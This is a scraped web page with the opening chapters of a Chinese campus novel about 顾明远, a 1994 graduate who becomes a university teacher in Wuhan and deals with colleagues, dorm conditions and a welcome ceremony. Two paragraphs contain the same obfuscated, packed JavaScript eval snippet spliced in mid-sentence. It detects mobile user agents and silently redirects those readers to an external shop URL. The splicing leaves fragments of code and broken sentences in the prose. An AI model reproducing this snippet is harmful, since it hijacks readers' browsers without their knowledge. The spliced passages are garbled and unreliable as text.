《象牙塔之波》 1. 引言 本书主人公名唤“顾明远”。这个名字是他那乡村小学教师父亲顾有余,从诸葛亮的《诫子书》里“非淡泊无以明志,非宁静无以致远”抠出来的,字字透着知识分子的“望子成龙”。相比之下,他两个姐姐的名字——“顾春分”和“顾小满”,潦草得让人怀疑是从日历上随手撕下的两页纸片。 顾明远本人堪称父亲顾有余那根油亮戒尺的“矛盾杰作”。戒尺的威风,既打出了他钻墙洞、翻篱笆的顽皮与机灵,也抽出了他面对人生选择题时条件反射般的胆怯和犹豫。顽皮与胆怯,机灵与犹豫,就这样在他身上搅拌得异常均匀。最典型的体现就是考试:大题难题他信手拈来,做选择题时笔尖有时纠结得能把试卷戳出洞来。 眼下,一道比考试选择题复杂百倍的人生大考,正横亘在即将从清北大学研究生毕业的顾明远面前。他站在职业的十字路口,四道选择题在他脑子里疯狂刷屏:一是“史海钩沉”。服从分配去社科院当个故纸堆里的“考古学家”,从此清净枯燥地打发光阴。二是“宦海浮游”。接受父亲顾有余的执念去政府“学而优则仕”,好在族谱上描红光宗耀。三是“商海击水”。答应同学明原田去做他的高级打工仔,年薪五万这个数字在口袋金光灿灿。四是“学海泛舟”。接受恩师周濂的邀请回母校楚江大学做一名“灵魂工程师”。 时间是最无情的监考老师。眼看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904202|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同班二十三人纷纷奔赴各自或锦绣或狗血的前程,顾明远心里的焦虑飙到了峰值——每个选项的倒计时都在他脑子里“嘀嗒嘀嗒”狂响。选择越多,他越怕挑中一个保鲜期和保质期最短的未来。 在“选择困难症”即将引爆的前夕,顾明远做出了一个庄严又极其儿戏的决定:抓阄!他带着一种近乎朝拜的虔诚,将写好的纸条揉成团,将命运丢进了刚吃完的康师傅红烧牛肉面碗里。 闭眼、伸手、抓起!纸团入手,掌心瞬间滚烫,仿佛捏着一颗刚出锅、烫嘴还粘牙的“后悔药”。哆哆嗦嗦展开,四个字赫然在目:楚江大学。 顾明远长长叹了口气:认命吧,顾老师! 2. 惊鸿一瞥 公元一九九四年夏天早晨七点刚过,清北大学历史系硕士毕业生顾明远怀揣着对未来的憧憬与一丝初入职场的忐忑,坐上一辆破旧不堪的“黑摩的”赶往火车站。目的地是位于武汉的——那是自己人生和职业的全新起点。 八点整,站前广场已是人潮的海洋。暑气蒸腾,声浪喧嚣,无数攒动的人头汇成一片黏稠的沼泽。顾明远提着沉重的行李,像一枚投入激流的石子,在汗臭、尘土与各色方言汇成的浊浪中奋力向前。他左突右冲,衬衫后背很快洇开深色的汗渍,那件临行前特意压在枕头下熨烫得笔挺的府绸衬衣,此刻紧紧贴在他年轻的脊背上,皱缩得如同揉烂的宣纸。当他终于冲破最后一道人墙,狼狈地挤进候车大厅时,只觉得肺叶都在灼烧,咸涩的汗水顺着鬓角淌进嘴角。 大厅内,几台巨大的、形似老式飞机螺旋桨的吊扇在头顶“吭哧吭哧”地旋转,搅动着浑浊的空气。汗酸、廉价香水的刺鼻、隔夜食物的馊味,还有劣质烟草、酱猪肘子和无处不在的体味,被风扇搅拌成一种令人窒息的粘稠混合物,均匀地涂抹在每一个角落。距离检票还有一个多小时,顾明远踮起脚尖,目光在密密麻麻的人堆里逡巡,渴望寻得一方喘息之地。 就在这灰扑扑、油腻腻的背景里,一抹清亮的色彩毫无预兆地撞入了顾明远的眼帘。 不远处廊柱下的报亭旁,伫立着一个女子。她身姿高挑挺拔,如一株新抽的翠竹。一件剪裁合宜的浅蓝色湖绉衫袄,领口袖口滚着精致的同色牙边,下身是一条刚刚过膝的白色绉纱百褶裙,裙裾随着她细微的动作轻轻摇曳,露出一截线条优美的小腿,脚上是一双样式简洁却极显脚踝纤细的一字带黑色绒面布鞋。这身装扮,在满眼的确良衬衫、花裙子和塑料凉鞋的洪流中,显得有些格格不入,但在顾明远的眼中却“民国女学生”般的恰到好处。 女子正微微侧身,与一位气质儒雅、戴着金丝眼镜的中年男子轻声交谈。阳光透过高大的玻璃窗,在她凝脂般细腻光洁的侧脸上镀上一层柔和的金晕。她手中拿着一本厚厚的书,纤长的手指轻轻搭在书脊上,姿态娴静而专注。顾明远的目光仿佛被磁石牢牢吸住,心脏不期然地漏跳了一拍。那画面,瞬间将他拉进泛黄的旧时光——不是电影里精心设计的布景,而是《洛神赋》中“翩若惊鸿,婉若游龙。荣曜秋菊,华茂春松”的画面活生生地降临在这喧嚣嘈杂的凡尘车站。一种难以言喻的、仿佛来自遥远记忆的熟悉感,如羽毛般拂过他的心头。 女子似乎察觉到了来自顾明远这边陌生的凝视,缓缓抬起头来,目光不经意地扫了过来。刹那间,顾明远如同被一道微弱的电流击中,全身的血液似乎都涌向了头顶。他无比确信——一定在某个被遗忘的时空缝隙里,见过这双沉静如深潭、灵动似脱兔的眼睛! 他下意识地屏住呼吸,在记忆的深海中奋力打捞:图书馆、篮球场、学术会议……? “抢劫啦!抓住他!抢劫啦——!” 一声尖锐凄厉的女声如同利刃,骤然划破了大厅的沉闷,也狠狠斩断了顾明远的思绪。他猛地扭头。只见一个烫着时髦大波浪卷发、穿着紧身红裙、手里攥着一个砖头大小“大哥大”的女人,正发疯似地追赶着一个身材瘦小、动作敏捷的年轻男子。那男子手里抓着一个女式皮包,像条泥鳅般在人群中慌不择路地穿梭,直直朝着顾明远的方向冲来! 人群像受惊的鱼群般向两边分开。顾明远正在犹豫要不要伸手拦截,一个穿着洗得发白的工字背心、身材粗壮结实的年轻男子如同下山猛虎般从斜刺里冲了出来。只见他一个干净利落的扫堂腿,“嘭”地一声闷响,那瘦小男子便如同断线的木偶,狠狠摔趴在地面上,手里的皮包也脱手飞出。 警察很快赶到,带走了哀求的男子。这场突如其来的骚动,前后不过两三分钟。 尘埃落定,顾明远第一时间急切地将目光重新投向那根廊柱,投向那个报亭。 廊柱依旧,报亭依旧。 然而,那里已空空如也。刚才那抹清丽绝伦的蓝色倩影,彷佛只是闷热空气蒸腾出的一个美丽幻象,被那场混乱彻底惊散了。 顾明远的心猛地一沉,不甘心地踮起脚尖,在原地转了两圈,目光如篦子般急切地扫过大厅的每一个角落——攒动的人头,堆积的行李,浑浊的空气……唯独没有那抹蓝,那缕白,那双沉静的眼眸。 巨大的失落感如冰冷的潮水瞬间淹没了他。那惊鸿一瞥带来的悸动与惊喜,此刻化作一种难以名状的怅惘,沉甸甸地压在胸口。 他甚至来不及知道她的名字。 挤上绿皮火车,顾明远愕然发现,刚才那场闹剧的主角——波浪卷发的时髦女子和那个身手矫健的壮硕青年,竟然就坐在离他不远的斜对面。 卷发女子正满面笑容给青年递过去一听橙黄色的“健力宝”。青年黝黑有些受宠若惊,笨拙地接过饮料,嘴里不住地说着“应该的,应该的”。然而,他那双眼睛却像是不受控制般,飞快地瞟向女子因为激动而起伏不定的、被紧身红裙包裹着的丰隆胸脯,眼神里带着毫不掩饰的、原始的窥探欲。 这一幕,让顾明远刚刚对他升起的好感打了折扣。看见卷发女子不时瞟看着自己,顾明远赶紧收回目光,望向窗外飞驰而过的、单调的北方平原景色。 这是一趟漫长的夜车。在晚点了近二十分钟后,火车终于像一个精疲力竭、关节生锈的老妇人,沉重地、缓慢地喘息着驶离了站台。 车子开动后大约十来分钟,一位身材臃肿得几乎撑爆了藏蓝色制服、五官仿佛被热气蒸得挤作一团的女乘务员,艰难地从对面车厢挤了过来。她一边不耐烦地用身体和粗鲁的吆喝“让开!都让开点!”碾压着过道上席地而坐的人群,一边目标明确地走向卷发女子。 两人显然熟识。卷发女子脸上立刻堆起妩媚的笑容,凑近乘务员耳边低声细语了几句,又朝旁边的壮硕青年使了个眼色。乘务员那油腻的脸上露出一丝了然的笑意,点了点头。 卷发女子立刻站起身,招呼那青年帮她拎下箱子,声音带着一种刻意的娇嗲。 青年麻利地从行李架上取下两个硕大的、印着俗气花纹的硬壳箱包,跟着卷发女子和乘务员,在众人或好奇或鄙夷的目光中,费力地挤开人群,朝软卧的方向走去。 顾明远旁边,一位戴着黑框眼镜、气质刻板的中年女人撇了撇嘴,用不大不小、刚好能让周围人听见的声音对邻座的女伴讽刺道:“瞧瞧,本事不小,一定攀上乘务长那样的高枝了。这趟车的软卧,可不是一般人能进的。” 她的女伴,一个同样穿着朴素、颧骨略高的女人,不屑地将嘴里嗑出的瓜子壳“噗”地一声精准地吐在地上,接口道:“哼,现在有些女人啊,为了点好处,什么做不出来?开放得很呐!” 顾明远皱了皱眉,对这样刻薄又带着明显嫉妒的议论本能地反感。他努力将注意力集中在膝盖上的《历史研究》上,试图在铅字中寻找一方清净来。刚看了没几页,那个壮硕青年竟然独自一人回来了!他脸上带着一种难以言喻的、仿佛偷吃了蜜糖般的得意神色,快速地从行李架上取下自己的行李卷,往肩上一甩,嘴里甚至还吹起了不成调的口哨,再次挤开人群,向软卧车厢的方向去了。 “啧啧啧……”,戴眼镜的女人发出一连串夸张的、充满讥诮的声音:“哟,这是要去‘陪夜’了?还是当上临时乘务员了?”旁边的女伴更是刻薄,几乎是用气声骂道:“哼,过了期的鲱鱼,配上只褪了毛的孔雀,倒也是‘绝配’!” 顾明远虽觉得这两个女人的言语粗俗尖酸得令人不适,但心底里又不得不承认,比喻虽然恶毒,却莫名地贴切了几分。从她们后续的闲聊里,顾明远大致听出两位似乎是小学教师,他不禁在心里暗暗叹了口气,“老师”这个称谓在心中悄然投上了一层阴影。 车轮与铁轨单调地撞击着,“咣当——咣当——”,节奏沉闷而固执,仿佛永无止境。顾明远在硬座靠背上颠簸着,疲惫和车厢里浑浊的空气让他昏昏沉沉。那抹惊鸿一瞥的蓝色身影,却如同投入心湖的石子,漾起的涟漪始终未曾平息,混杂着对前途的未知,在梦境边缘浮沉。 经过一整夜的颠簸,当窗外灰蒙蒙的天际线终于透出破晓的微光时,火车喘息着缓缓滑入了素有“火炉”之称的武昌站。 刚迈出出站口,一股裹挟着长江水汽的、黏稠滚烫的热浪便如同实质的巨掌劈头盖脸地拍了下来。曾在楚江大学度过四年本科时光的顾明远,瞬间找回了那种熟悉的、令人窒息的“蒸笼”感。清晨七点的太阳,已经明晃晃、火辣辣地悬在头顶,活像老通城豆皮锅里那颗煎得滋滋冒油、金黄滚烫的硕大蛋黄。而整座城市,则仿佛被这巨大的“蛋黄”打翻,黏稠灼热的气浪如同四处流淌、冒着热气的糯米,将三镇百姓连同初来乍到的旅人,都密密实实地裹挟进去,蒸腾成了笼屉里皮薄馅大、一戳就破的汤包,轻轻一碰,滚烫的“汗馅儿”便止不住地流淌下来。 顾明远全身的毛孔在这炽烈的“拥抱”下骤然洞开,汗水如同无数细小的喷泉,争先恐后地涌出、蒸发。他不敢停留,拖着行李,几乎是逃也似的,一路小跑着奔向报到指定的集合点——“房县汉办”大楼前。 楼前已经站了十几位同样提着行李、面带倦容的年轻人,彼此间带着初见的拘谨和打量。顾明远拧开一瓶刚买的冰镇矿泉水,仰头猛灌了几口,冰凉的液体滑过灼烧的喉咙,带来一丝短暂的慰藉。就在这时,一个熟悉的身影扛着行李卷,满头大汗地跑过来,挤进了他旁边的队伍。 他正是火车上那个见义勇为又“陪夜”软卧的壮硕青年。 顾明远微微一怔。青年显然也认出了顾明远,那张黑红的脸膛上瞬间掠过一丝极其不自然的慌乱,仿佛做了什么亏心事被抓了现行。他眼神躲闪了一下,随即主动凑近半步,带着一种此地无银三百两的语气压低声音说道:“咳,哥们儿,别误会啊!我跟那女的…火车上那女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904203|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,真的一点都不熟!就是,就是纯粹看她东西多,顺手帮一把!真的!” 这番欲盖弥彰的解释,配上脸上掩饰不住的疲惫与一丝残留的亢奋,反倒像是不打自招的供词。顾明远心中了然,面上却只是不动声色地点点头,含糊地“嗯”了一声。 钟德君似乎把顾明远的沉默当成了某种认同,脸上堆起貌似憨厚的笑容,主动伸出手:“我叫钟德君!钟表的钟,道德的德,君子的君!哥们儿怎么称呼?”他的口音带着浓重的孝感,如果不是他一字一顿的解释,顾明远还把他当成了“仲大军”。 当得知钟德君也是前往楚江大学报到的,顾明远本能地、极其轻微地往后挪了半步。对顾明远这样骨子里带着点清高的人来说,与陌生人过分亲昵是一道难以逾越的心理防线。更何况,眼前这位“钟德君”身上混杂着粗粝的江湖气以及火车上那桩引人遐想的“小秘密”,让顾明远更想要保持距离。 就在顾明远盘算着如何礼貌结束尴尬对话时,一辆白色“金杯”面包车“嘎吱”一声带着刺耳的刹车响,停在了众人面前。 车刚停稳,副驾驶的门被推开。一个身材瘦削像一根纤细的芦苇杆漂亮年轻女子动作略显吃力地从高高的座位上攀援下来。她似乎对身后挤挤挨挨的新同事视而不见,径直走到侧滑门边,费力地试图拉开沉重的车门。 钟德君见状,一个箭步上前,粗壮的手臂一伸,轻松地帮她把车门“哗啦”一声拉开了。 女子转过头,只是极其短暂地瞥了钟德君一眼,眼神空洞而疏离。那张灰白的脸上,没有任何表情,只有颧骨处透着一丝不自然的微红。她随即不再看任何人,只是略显急促地催促道:“快上车吧。” 语气里透着一丝不易察觉的不耐烦和公事公办的冷漠。 顾明远心里正在腹诽“苇杆”女子的冷淡,靠近车门的那扇车窗玻璃忽然被摇了下来。一张明艳照人的脸庞探了出来,红唇勾起一个灿若骄阳的笑容,声音清脆又带着点自来熟的口吻:“哟!顾明远吧?还认得我吗?” 虽然时髦大墨镜挡住了大半张脸,但那极具穿透力的嗓音和张扬的气质,瞬间勾起了顾明远的记忆。女子似乎看出了他的犹豫,咯咯一笑,动作优雅地摘下了墨镜。刹那间,一张眉目如画、艳光四射的脸完全显露出来。五官精致得无可挑剔,皮肤白皙细腻,尤其一双顾盼生辉的杏眼,眼波流转间自带风情。 “秦…秦老师?!”顾明远脱口而出。这不是当年自己读本科时的被同学戏称为“万人迷”的历史学院的老师秦冰纶吗?几年不见,她现在简直就是一朵开到最盛时的牡丹,恣意张扬着自己成熟丰腴的美。 “秦大美女,你这记性可真是好啊!对小顾老师的印象如此深刻,让我们这些老同事情何以堪呐?”一个略带沙哑、带着明显戏谑的男声从秦冰纶身后的座位传来。一个身材矮小的中年男子脸上挂着一种圆滑世故的笑容,有意无意地用手指轻轻拍打着秦冰纶座椅的靠背。 顾明远觉得矮个男子也有些眼熟,一时想不起名字,便不敢贸然接话。 秦冰纶闻言,嘴角立刻勾起一抹毫不掩饰的讥诮,她甚至懒得转头,声音带着一丝慵懒的刻薄:“孟副院长,您要是能把琢磨别人心思的功夫用在提升自己的形象上,说不定啊,我还真能记住你点什么呢。” 矮个男子三角眼里的冷笑让顾明远突然想起:他上当年校团委副书记的孟超。自己在做学生会宣传部长时,因为一场重要的演讲会场地安排曾和他发生过不大不小的冲突。 车子缓缓移动时,顾明远下意识地再次将目光投向火车站出口的方向。目光扫过攒动的人流,一辆刚刚停下的红色出租车旁,一个熟悉的身影正弯腰准备上车——浅蓝色的湖绉衫袄,白色的绉纱百褶裙,纤细的身影,沉静的气质。 “是她!”顾明远的心猛地提到了嗓子眼,一种强烈的冲动让他几乎要从座位上弹起来,想要看得更清楚些。 然而,“金杯”猛地一打方向盘,毫不留情地拐进了旁边一条狭窄喧闹的巷子。那个蓝色的身影,连同那辆红色的出租车,瞬间被杂乱的市场摊位和滚滚车流彻底吞噬,消失得无影无踪,只留下车窗框出的一角飞速掠过的、灰扑扑的街景。 顾明远懊丧地重重跌坐回硬邦邦的座位上。一股巨大的失落和难以言喻的憋闷感堵在胸口。两次相遇,两次失之交臂,命运似乎在跟他开着一个无情的玩笑。 车内的气氛静寂得有些尴尬。在听说孟超就是自己所在财经学院副院长时,急于表现的钟德君主动提议请孟副院长介绍介绍学校的情况,并带头鼓起掌来。其他年轻人被他这突如其来的举动弄得有些懵,反应慢了半拍,稀稀拉拉的掌声才迟疑地响起,显得有气无力,更加重了尴尬的浓度,车内再次陷入了更深沉的、令人窒息的沉默。车轮碾压着武汉滚烫的街道,载着一车心思各异的新人和几位心思更深沉的“前辈”,驶向一切都像迷雾般的楚江大学。 3. 初入职场 “金杯”像个醉汉般在武汉城郊坑洼不平的土路上颠簸了半个多小时,最终带着一身疲惫的尘埃,“嘎吱”一声停在了楚江大学行政楼那栋灰扑扑的水泥建筑前。 十几位神情疲惫、带着初来乍到迷茫的新人被人引领着走进了一楼大厅。 大厅空旷得有些寂寥,回音清晰。正中央孤零零摆着一张长条桌,桌后坐着一男一女。顾明远认出他们是本科期间打过几次交道的总务处长朱政华和宿舍管理科的吴雅洁。朱政华依旧一副精明干练的模样,吴雅洁还是那张仿佛谁都欠她钱的冷脸。 两人是来分发宿舍钥匙的。钥匙分发完毕,朱政华低声对吴雅洁交代了几句,便像一阵风似的匆匆离开了,留下吴雅洁独自面对这群即将成为她“管辖对象”的年轻人。 “跟我走。”吴雅洁的声音像一块冰冷的铁片。十几颗怀揣着对高校象牙塔美好憧憬的心,跟在她身后,穿过校园里还算整洁的林荫道,最终停在了一栋与校园整体氛围格格不入的建筑前。 顾明远认出这是楚江大学有名的“筒子楼”——专供青年教师和单身职工居住的一座七层建筑。与五年前相比,这栋灰黄色的建筑,墙体上贴着的马赛克瓷砖大片大片地剥落,露出的水泥底色如同人身上久治不愈的顽癣。窗户大多漆色斑驳,有些玻璃碎裂,用木板或报纸潦草地糊着。唯一显出生机的,是东南角屋顶上顽强探出的两丛不知名的灌木,郁郁葱葱,在这片破败中显得突兀又倔强。 “哇……”,人群中不知是谁先发出了一声短促而失望的惊叹,随即像传染病一样蔓延开来。年轻人们脸上的憧憬瞬间凝固,取而代之的是难以置信和压抑的沮丧。步入楼内,光线骤然昏暗。狭窄的走廊幽深而压抑,两侧密密麻麻排列着房门。 “这……这怎么住人啊?!”一个女生忍不住低声叫了出来。狭长的房间,宽度仅容两张单人床紧紧相抵,中间连张像样的桌子都放不下。人站在其中,转个身都嫌局促。 得知大部分房间需要两人合住,本就压抑的情绪如同被点燃的干柴,瞬间爆发开来。抱怨声、质疑声、甚至带着哭腔的抗议声在狭窄的走廊里嗡嗡作响。 吴雅洁脸上闪过一丝不易察觉的厌烦,她似乎早就预料到这种反应,声音提高了八度,带着一种不容置疑的冰冷:“吵什么吵!有意见找领导反映去!钥匙都拿到了,各人自己找房间去。” 说完,她像是躲避瘟疫般,转身就走,高跟鞋敲击着水泥地面,发出“笃笃”的声响很快消失在楼梯拐角。 走廊上瞬间炸开了锅。先到的新人纷纷打开自己的房门,更多人涌到走廊上,愤怒的情绪在发酵。谩骂声此起彼伏,有人吹着口哨发泄不满,有人用力踢着墙壁。 在这片混乱中,一个女人的身影显得格外活跃。她大约四十岁上下,身材矮胖,穿着一件洗得发白的碎花衬衫,头发胡乱地挽在脑后,一张脸盘很大,眉眼却凶狠地挤在一起,仿佛时刻准备着“铰碎”一切令她不满的事物。她穿梭在愤怒的年轻人中间,气咻咻地替年轻人抱着不平,唾沫星子几乎喷到旁边人的脸上。 顾明远觉得这女人有些面熟,但一时想不起名字。正疑惑间,顾明远感觉衣袖被人轻轻扯了一下。一个面生的年轻女孩推了推鼻梁上的黑框眼镜凑近低声说道:“顾老师,离她远点!这是学校出了名的‘告状王’石凤芝,跟个定时炸弹似的,哪哪都有她,沾上就甩不掉了!” 顾明远忽然想起大二时这个石凤芝曾经鼓动学生大闹食堂的情景,赶紧往后退了退院里石凤芝。女孩跟了过来,脸上堆起热情的笑容:“顾老师肯定不记得我了吧?说起来我们还同过一年学呢!你大四的时候,我正好大一。哎呀,我可记得清清楚楚,那时候你好风光啊,经常组织各种演讲比赛、辩论赛,是咱们学生会的风云人物呢!” 她的武汉普通话爽脆而得很,透着一股不容置疑的熟络。 这份突如其来的热情让顾明远有些招架不住,只好顺着问道:“你是……?” “我是江小北呀!”她立刻接口,语速更快了,“历史学院,刚刚留校的!以后咱们就是同事了,还请顾老师多关照!” 她特意强调了“留校”两个字,眼神里带着一丝不易察觉的探询和期待。 顾明远心中掠过一丝疑惑:本科生留校?这在楚江大学可不多见。还没等他细想,旁边一个年轻男子——刚刚打个招呼的“新同事”林书锦用尖细的嗓门说道:“顾老师本科就是楚江大学毕业的。要不,你代表我们去找学校领导反映反映情况呗?这宿舍条件实在说不过去啊!”林书锦的话立刻引起了近旁几位年轻人的共鸣。石凤芝更像嗅到血腥味的鲨鱼,异常兴奋地挤了过来,嘴里嚷嚷着:“对对对!找他们去!这帮当官的就知道欺负老实人!要不我给你们带路,我知道校长办公室在哪儿!” 这个突如其来的提议已经石凤芝等着看戏的眼神,打了顾明远一个措手不及。他本来就是一个不愿意也不喜欢抛头露面的人,这下简直有些头皮发麻,不知如何是好。就在这骑虎难下的当口,一个低沉的声音响了起来:“顾老师本科那会儿还是个学生呢。再说了,咱们初来乍到,就这么冒冒失失地去堵领导的门,不太合适吧?” 他顿了顿,环视一圈说道:“依我看啊,咱们还是先安顿下来,把窝收拾好,喘口气儿。等安顿好了,摸清楚情况了,再有理有据地反映问题,那才叫有的放矢!” 钟德君这番话让激愤的人群稍稍冷静了一些。江小北也趁势上前,将顾明远半推半拽地将他从人群中拉了出来:“走走走,顾老师,我带你去看看你宿舍在哪儿!” 顾明远松了口气,对钟德君和江小北的解围,心中不由得多了几分感激。按照钥匙牌上的房号,顾明远来到了三楼走廊尽头的307号宿舍。推开那扇吱呀作响、油漆剥落的木门,一股浓重的霉味和尘土味扑面而来。顾明远无奈地叹了口气,放下行李,开始动手清理床板上的灰尘。正在这时,门口探进来一颗脑袋,正是钟德君。他黝黑的脸上带着一种“果然如此”的表情,扬了扬手中的钥匙——钥匙牌上赫然也写着“307”。 顾明远心里“咯噔”一下:看来和这家伙的“孽缘”是躲不掉了。尽管对钟德君火车上的行径和略显粗俗的作风印象平平,但刚才他那番仗义执言和默契解围,让顾明远觉得至少不该把同事兼室友的关系弄得太僵。他停下手中的活计,努力挤出一个还算自然的笑容,主动和钟德君打起了招呼。 钟德君一步跨进来,有些夸张地拍了拍顾明远的肩膀:“哈哈!老顾!缘分呐!打从车站第一眼看到你,我就觉着咱俩投缘!这下可好,真要‘同居’了!放心,以后咱就是兄弟,有我罩着,这筒子楼里没人敢欺负你!” 他刻意加重了“同居”二字,带着点市井的戏谑。 顾明远微微蹙眉,觉得钟德君说话有些放肆。钟德君动作毛躁,拿起一个破脸盆时,不小心扯下一张糊在墙上的旧报纸,顿时灰尘弥漫,扑了他一脸,顿时火冒三丈,飞起一脚狠狠踹在旁边一张三条腿的破板凳上,“哐当”一声巨响,板凳应声倒地,嘴里骂道:“操!电话里说得天花乱坠,什么重视人才,什么改善条件,净他妈的扯淡!忽悠老子呢!” 顾明远心底多少存着点“儿不嫌母丑”的微妙情感,语气平和地宽慰道:“钟老师,消消气。这条件……是艰苦了点。不过学校可能也有难处。这应该只是暂时的过渡,等新宿舍楼盖好,说不定很快就能搬进去了。” 两人正在说话,林书锦带着两个陌生人闯了进来。轻蔑地说了句“就这‘土谷祠’有啥好收拾的?”,便开始介绍其另外三个人来:面庞轮廓分明、眼窝深陷带着几分混血气质的英俊男子是化学院的蒋嘉琦,他帅气地甩了一下额前的一绺头发揶揄道:“‘土谷祠’也不错呀,毕竟是大文豪作品中的地方呀”;眼珠有些外凸、身材瘦小的男子是和钟德君同在财经学院的卞同峰,他翻眼看了钟德君一眼嘟囔道:“早知道是这鬼地方,老子还不如去深圳闯荡呢!”钟德君对这位新同事似乎没有好印象,冷笑着说了声“那就去呗”。 众人刚刚离去,门口又传来了江小北热情洋溢武汉普通话的招呼声,她径直走到顾明远面前要帮他收拾床铺。钟德君似乎看出点名堂来,故意挤眉弄眼地插话:“哟,看来我在这儿是不是有点多余?” 作势拿起地上的脸盆就要走。 顾明远眼疾手快,一把拉住钟德君的胳膊,暗中用力捏了捏,脸上堆起无奈的笑容对江小北说:“德君,你不是说要一起去小卖部买点生活用品。现在走吧?” 钟德君会意,停下脚步,朝江小北咧嘴一笑,露出一口不算整齐的白牙说道:“江老师,那你先忙你的去呗。” 走到楼梯口,顾明远用力拍了拍钟德君厚实的肩膀,算是表达了感谢。 钟德君嘿嘿一笑,目光带着点暧昧,压低声音道:“老顾你行啊!刚来就有这么‘飒’的师妹主动贴上来,够幸运的哈!我看那小江老师,对你可不是一般的热情哦!” 顾明远没好气地轻轻捶了他一拳,正色道:“别瞎说!都是同事,以后这种玩笑别开了。” 钟德君忽然想起什么,摸着下巴上的胡茬,疑惑道:“哎,不对啊老顾。江小北一个本科生,也能留校当老师?不是说这次招的都是硕士起步吗?咱们这一批,最次也得是个硕士吧?” 他指了指自己和顾明远,“这规矩到她这儿就破了?” 顾明远对江小北的底细毫无兴趣,随口敷衍道:“学校用人自有考量吧,说明人家有过人之处呗。” 钟德君却不依不饶,一脸笃定地分析道:“我看没那么简单!老顾,我跟你说,这女人,肯定不简单!武汉女人,精明泼辣得很,你以后跟她打交道,还真得留个心眼儿,提防着点!” “哪有你说得这么邪乎?”顾明远不以为然笑了起来。 一次招聘四十名新教工,这是楚江大学建校以来前所未有的大手笔。“大手笔”的主脑正是校长吴若甫。 吴若甫儒雅中透着威严,是大家公认的复合型的领导。为了彰显自己对人才的重视以及扩大这次人才引进的影响力,在和书记许继武打过招呼后,他责成自己一手提拔起来的办公室主任冯伟操办一场隆重的欢迎仪式。 冯伟是刚刚从一个边缘部门提拔到校办主任这个核心位置的,自然对吴校长的指示心领神会、言听计从。 欢迎仪式被安排在学校最气派的“一号会议室”。为了营造出“隆重热烈”的氛围,冯伟特意主席台上方悬挂了红底黄字的“人才兴校人才强校”横幅,墨绿色的绿色绒布长桌上整齐排列精心准备的果盘专门从校外租赁了一批开得正艳的三角梅错落有致地摆放在主席台两侧和台下前排过道,姹紫嫣红,为这严肃的会场增添了几分生机。 吴若甫深知书记许继武对自己主导的这次人才引进并不十分赞同,但出于礼貌,他还是让冯伟恭请许继武前来参加欢迎仪式。许继武却以马上出发到教育厅为由予以婉拒,话却说得十分漂亮:“小冯转告吴校长,务必让新老师们感受到学校的温暖。” 九点整,在欢快的《迎宾曲》旋律中,校长吴若甫面带沉稳自信的微笑,率领着副校长江川、周濂等几位在家校领导,步履从容地走进。在冯伟眼神和手势的示意下,新人们起立爆发出热烈而整齐的掌声。 吴若甫走到主席台中央自己的位置前,并未立刻坐下,而是面带微笑,目光温和地扫视着台下年轻而充满朝气的面孔,频频点头致意。直到所有校领导都落座后,他才缓缓坐下。然而,他脸上的笑容刚刚展开,目光扫过台下前排就座的新人区域时,眉头不易察觉地拧了一下:标有“卞同峰”和“王垚”台签的位子是空的! 吴若甫的目光如同冰冷的探照灯,精准地锁定在前排就座的财经学院院长梅大镛和数理学院院长黄骅身上,声音不高,却带着一种不容置疑的威严:“梅院长,黄院长。你们二位,回去好好查一查,这两位新老师是什么情况呀?会后写个情况说明报到办公室。” 说道这里,目光锐利地扫视过台下所有二级学院的负责人,语气陡然加重,带着敲山震虎的意味:“守好自己的门,管好自己的人!新人,就要有新人的样子!请各位院长、书记务必加强新进职工的教育和管理!” 短短几句话,如同在平静的湖面投下了一块石头。会场的气氛瞬间从热烈转为凝重。梅大镛胖胖的脸上肌肉抽动了一下,黄骅则尴尬地低下了头。其他学院的领导们更是噤若寒蝉。吴若甫这招敲打,果断、精准,毫不拖泥带水,既表达了对缺席者的不满,更是到场者划了一根红线,由此重申了校长的权威。 仪式由副校长周濂主持。周濂是吴若甫亲自从历史学院院长任上提拔上来的。他抛开讲稿,用饱含感情的语调,声情并茂地讲述了吴若甫校长如何高瞻远瞩、力排众议,推动这次史无前例的人才引进计划……溢美之词充盈着每个人的耳鼓,热烈的表情将会场刚才有些冷却的气氛重新熏染得升温起来。 冗长的开场白后,一项项既定议程按部就班地进行。学院院长代表发言时,在吴若甫的授意下,有意选了楚江大学实力最强、号称“双峰对峙”的历史学院和财经学院的新提拔的副院长——秦冰纶、孟超。 提前得到周濂提醒的秦冰纶做足了十二分的准备。一头乌黑的长发被精心地盘成一个优雅的发髻,露出修长白皙的脖颈,显得干练而不失妩媚;脸上化了精致的妆容,尤其那双顾盼生辉的杏眼,眼波流转间熠熠生辉,灵动异常;一身剪裁得体的米白色职业套裙,将她高挑玲珑的身材衬托得恰到好处。她款款走上发言席,高跟鞋敲击地面的声音清脆悦耳,尚未开口,强大的气场和惊人的美貌已经吸引了全场的目光。台下几个胆大的新进男教师,忍不住低声发出了“真漂亮!”“太有气质了!”的惊叹。 